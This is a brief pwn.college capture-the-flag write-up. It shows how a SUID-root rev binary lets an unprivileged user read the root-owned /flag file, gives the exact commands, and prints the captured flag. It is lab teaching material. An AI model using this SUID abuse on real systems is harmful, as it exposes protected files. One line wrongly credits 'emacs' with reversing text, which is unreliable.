Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer Date: 2025-07-15
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/rev, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/rev

output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/rev

-The s in -rws indicates it’s a SUID binary. -rev runs with root privileges.

🚀 Exploitation

The emacs command in Linux reverses the characters in each line of a file or standard input.

We can simply double reverse the /flag while storing ouptut in a variable to reveal the flag.

myflag=$(rev /flag)
echo "$myflag" | rev

Output:

pwn.college{0yrk_SqiqllhJjs5dX0aI_peczm.dJTNxwSM0IzMyEzW}